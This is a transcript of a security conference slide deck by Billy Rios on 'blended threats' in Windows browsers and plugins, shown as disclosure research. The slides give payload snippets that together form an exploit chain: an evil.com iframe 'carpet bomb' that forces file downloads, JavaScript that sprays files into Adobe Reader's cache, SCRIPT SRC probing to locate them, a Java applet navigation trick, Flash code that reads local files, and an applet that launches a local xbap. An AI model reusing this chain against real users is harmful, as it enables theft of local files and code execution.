+ All Categories
Home > Documents > Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security...

Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security...

Date post: 20-Sep-2020
Category:
Upload: others
View: 0 times
Download: 0 times
Share this document with a friend
67
Intro What Else? Recap Enter Flash Hybrid Files Enter Java Will it Blend? Background
Transcript
Page 1: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Intro

What Else?RecapEnter Flash

Hybrid FilesEnter Java

Will it Blend?Background

Page 2: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

pptPlex Section Divider

Background

The slides after this divider will be grouped into a section andgiven the label you type above. Feel free to move this slide to

any position in the deck.

Page 3: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

I’m Billy Riosxs-sniper.com

Google – SecurityLots of nicknames

spotthevuln.com

Page 4: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 5: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 6: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Anytime

Page 7: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

pptPlex Section Divider

Intro

The slides after this divider will be grouped into a section andgiven the label you type above. Feel free to move this slide to

any position in the deck.

Page 8: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Will it Blend?

http://www.willitblend.com/videos.aspx?type=unsafe&video=iphone

Page 9: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Blended Threat (from Wikipedia)… is a software vulnerability the involves acombination of attacks against differentvulnerabilities…

Page 10: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 11: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 12: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

<HTML><iframe src="http://evil.com/cgi-bin/carpet_bomb.cgi"></iframe><iframe src="http://evil.com/cgi-bin/carpet_bomb.cgi"></iframe><iframe src="http://evil.com/cgi-bin/carpet_bomb.cgi"></iframe>............ <iframe src="http://evil.com/cgi-bin/carpet_bomb.cgi"></iframe></HTML>

Content-type: unknown/unknown

Page 13: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 14: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

• A quote from my last email to Apple:…since you do not consider issue 1 and 2 to besecurity related, I will feel free to discuss mythoughts within the information securitycommunity. Just let me know if you would likeme to wait for some amount of time before Ido this.

Page 15: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Response from Apple:We understand if you want to discuss these in thesecurity community.

Page 16: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Requires:• Windows XP or Windows Vista (this was 2008)• Internet Explorer• Safari for Windows

Page 17: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

The are some interesting technicalpieces here

• Safari allows give a remote attacker the ability towrite a DLL file to the user’s desktop– In this case, we write our custom sqmapi.dll to the

Desktop

• When IE is launched it attempts to load a numberof DLLs (some of which are from the desktop)– We launch IE from Safari by using a protocol handler

associated with IE (gopher:// worked for IE7)

Page 18: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

What’s more interesting however…

• The Triage/Analysis of the vulnerabilities at hand

• Each Organization (MSFT + APPLE) conductedtheir triage independently from each other– This actually makes sense for most issues

• It’s difficult to understand the security models for everysingle piece of software out there

• Each bug was evaluated using their own security model asthe primary perspective

Page 19: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

pptPlex Section Divider

Will it Blend?

The slides after this divider will be grouped into a section andgiven the label you type above. Feel free to move this slide to

any position in the deck.

Page 20: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Another Example

• Windows 7 (Will likely work for other versionsas well)

• Internet Explorer• Adobe Reader• Adobe Flash• Java

– Disclaimer: I sometimes feel that using Java forexploitation is cheating…

Page 21: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Couple of Bugs here

• One of these bugs is over a year old• The youngest bug is over 100 days old• Some of these items aren’t bugs• I’m not sure if any of these bugs would rate a

CVE

Page 22: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

<html><body><object data=“http://path-to-pdf/mypdf.pdf”type=“application/pdf” height=300 width=300></body></html>

Enter Adobe

Page 23: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 24: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 25: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

<html><body><object data=“http://path-to-gif/notapdf.gif”type=“application/pdf” height=300 width=300></body></html>

Page 26: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

The file persists, even after theweb browser is closed

Page 27: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

So what happens if…

Page 28: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 29: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

• WIN:– Arbitrary content inside the fake PDF file

• THINGS THAT SUCK:– The location is only semi-predictable (username)– The filename looks “Random”– The filename has the .TMP extension

Page 30: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 31: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

• WIN:– Arbitrary content inside the fake PDF file– We can guess the location

• THINGS THAT SUCK:– The filename looks “Random”– The filename has the .TMP extension

Page 32: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

function include_object() {var html_doc =document.getElementsByTagName('body').item(0);

var js = document.createElement('object');js.setAttribute('data', ‘http://path-to-file/myhtml.gif');

js.setAttribute('type', 'application/pdf');}

Page 33: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 34: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

• Script src to local files in the LocalLowdirectory is valid

• Scriptsrc=“file://C:\\Users\\BK\\AppData\\LocalLow\\javascriptfile.tmp” works from RemoteWeb Sites

• Inside the javascript, set a variable(foundit='foundit';)

Page 35: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

• Spray files into LocalLow with Adobe

• Search for them using SCRIPT SRC

• Have the JS file set a flag telling us whenwe’ve found the file

• Launch the file somehow

Page 36: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

function include_dom(script_filename) {var html_doc =document.getElementsByTagName('head').item(0);var js = document.createElement('script');js.setAttribute('language', 'javascript');js.setAttribute('type', 'text/javascript');js.setAttribute('src', script_filename);html_doc.appendChild(js);return false;

}

Page 37: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 38: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

• WIN:– Arbitrary content inside the fake PDF file– We can guess the location– Spray and search for our content– Extensions are ignored by SCRIPT SRC

Page 39: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

• Next Steps:– Launch the local file we’ve planted

– Bypass some security features associated withlocal files

– Make the local content do something useful

Page 40: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

pptPlex Section Divider

Enter Java

The slides after this divider will be grouped into a section andgiven the label you type above. Feel free to move this slide to

any position in the deck.

Page 41: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Enter Java

• Java has a load of problems • getAppletContext.showdocument()• Allows you to navigate the browser to a

webpage• Can be used to bypass popup blockers and

some other stuff• In IE, you can use this API to open files located

on the local file system

Page 42: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Enter Java

• Since we know where the file is located, wecan load a Java Applet and use thegetAppletContext.showdocument() API toopen the file

• Problem: Our file needs to be a wellformatted JavaScript file in order for ourSCRIPT SRC trick to work, but we also want itto render as if it was an HTML file

Page 43: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

pptPlex Section Divider

Hybrid Files

The slides after this divider will be grouped into a section andgiven the label you type above. Feel free to move this slide to

any position in the deck.

Page 44: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.
Page 45: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

HTML is placed insideJavaScript comments, soit is ignored by the JSinterpreter/parser

Our JS “flag” stays inplace and is outside ofthe HTML

Page 46: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Hybrid File• We locate our file by using SCRIPT SRC, monitoring the

state of a JavaScript variable

• Once we discover the location of one of our files, weload a Java Applet and push the browser to thatlocation

• The local file begins with HTML, so the content issniffed as HTML (thanks to our hybrid approach)

• Goldbar for Local, Active content? (nope!)

Page 47: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Hybrid File

• So now that we have local, active contentrunning… what now?

• Load XMLHTTP and steal arbitrary file contentfrom the local file system!

Page 48: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Local content cannot instantiate XMLHTTP and load files inarbitrary directories

Many other restrictions as well

IE8 has these security measures in place, FF does as well (seeBrowser Security Handbook)

Page 49: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

pptPlex Section Divider

Enter Flash

The slides after this divider will be grouped into a section andgiven the label you type above. Feel free to move this slide to

any position in the deck.

Page 50: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Enter Flash

• Flash has no concepts of “Zones”

• Many of the security mechanismsimplemented by current browsers are notpresent in Flash

• Since we can plant arbitrary content, we canspray flash files alongside our JS/HTMLhybrids

Page 51: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Enter Flash

var my_xml = new XML();my_xml.onLoad = function (success) { if (success) {

// my_xml has the filecontents}

};

my_xml.load('file://c:\\secret.txt');

Page 52: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

C:\Secret.txt

SECRETtestSECRETtestSECRET

Page 53: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Some changes to the Hybrid file

Page 54: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Some changes to the “file spray” - Oldfunction include_object() {

var html_doc = document.getElementsByTagName('body').item(0);

var js = document.createElement('object');js.setAttribute('data', ‘http://path-to-file/myhtml.gif');

js.setAttribute('type', 'application/pdf');}

Page 55: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Some changes to the “file spray” - Newfunction include_object() {var html_doc = document.getElementsByTagName('body').item(0);var js = document.createElement('object');js.setAttribute('data', 'http://xs-sniper.com/sniperscope/Adobe/locallow/testing/js-

html-hybrid.gif');js.setAttribute('type', 'application/pdf');js.setAttribute('height', '300');js.setAttribute('width', '300');

var js2 = document.createElement('object');js2.setAttribute('data', 'http://xs-sniper.com/sniperscope/

Adobe/locallow/testing/swf.gif');js2.setAttribute('type', 'application/pdf');js2.setAttribute('height', '300');js2.setAttribute('width', '300');

html_doc.appendChild(js2);html_doc.appendChild(js);

Page 56: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Read Arbitrary Files from the FileSystem

Page 57: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

pptPlex Section Divider

Recap

The slides after this divider will be grouped into a section andgiven the label you type above. Feel free to move this slide to

any position in the deck.

Page 58: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Recap of Everything1) Plant js+html.tmp and swf.tmp files to LocalLow

(PDF Reader)2) SMB to get the current users username (IE)3) Script SRC to locate the location of my planted

content (IE)4) Use a Java Applet to load the local file (Java)5) Load SWF files with arbitrary extension (Flash)6) Use Flash Applet to read files from the Local File

System (Flash)

Page 59: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Recap of Everything1) Plant js+html.tmp and swf.tmp files to LocalLow

(PDF Reader) Undermines IE’s unpredictablecache location

2) SMB to get the current users username (IE) Lotsof problems with this

3) Script SRC to locate the location of my plantedcontent (IE) Makes Adobe’s caching issue muchworse

Page 60: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Recap of Everything1) Use a Java Applet to load the local file (Java)

Undermines remote to local protections put inplace by the browser

2) Load SWF files with arbitrary extension (Flash) Makes Adobe’s caching problems much worse

3) Use Flash Applet to read files from the Local FileSystem (Flash) Undermines XMLHTTP restrictionsput in place by IE

Page 61: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

DEMO

• http://192.168.163.129/plant.php?username=bk

Page 62: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

pptPlex Section Divider

What Else?

The slides after this divider will be grouped into a section andgiven the label you type above. Feel free to move this slide to

any position in the deck.

Page 63: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Stealing files is cool and all…

What Else Can We Do?

Page 64: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

IF…We can find a browser plug-in / or software accessible

via the browser that keeps file extensions

We’ll be able to plant our filesUse flash to find our filesPass those filenames back to a serverBuild an HTML page that jumps to those files

Design code execution

Page 65: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Imagine<html><body><applet code="showdoc3.class" codebase="http://xs-

sniper.com/sniperscope/Java/ShowDoc/" id="pwn"name="pwn" height=50 width=50></applet>

<script>alert("launching xbap at c:\\temp\\calc.xbap");document.pwn.showdoc("file://c:\\temp\\calc.xbap");</script></body></html>

Page 66: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

DEMO

http://192.168.163.129/calc.html

Page 67: Background Will it Blend? Intro · …since you do not consider issue 1 and 2 to be security related, I will feel free to discuss my thoughts within the information security community.

Questions


Recommended